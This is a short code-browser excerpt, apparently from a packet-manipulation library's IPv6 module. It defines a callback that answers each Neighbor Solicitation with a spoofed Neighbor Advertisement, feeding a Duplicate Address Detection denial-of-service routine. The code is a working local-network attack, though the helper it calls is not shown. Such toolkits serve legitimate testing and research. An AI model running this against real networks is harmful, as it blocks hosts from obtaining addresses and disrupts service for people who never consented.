Callback that reply to a NS with a NA
(req, reply_mac, iface)
| 3717 | """ |
| 3718 | |
| 3719 | def na_reply_callback(req, reply_mac, iface): |
| 3720 | """ |
| 3721 | Callback that reply to a NS with a NA |
| 3722 | """ |
| 3723 | |
| 3724 | # Let's build a reply and send it |
| 3725 | mac = req[Ether].src |
| 3726 | dst = req[IPv6].dst |
| 3727 | tgt = req[ICMPv6ND_NS].tgt |
| 3728 | rep = Ether(src=reply_mac) / IPv6(src=tgt, dst=dst) |
| 3729 | rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1) # noqa: E741 |
| 3730 | rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac) |
| 3731 | sendp(rep, iface=iface, verbose=0) |
| 3732 | |
| 3733 | print("Reply NA for target address %s (received from %s)" % (tgt, mac)) |
| 3734 | |
| 3735 | _NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter, |
| 3736 | tgt_filter, reply_mac) |
nothing calls this directly
no test coverage detected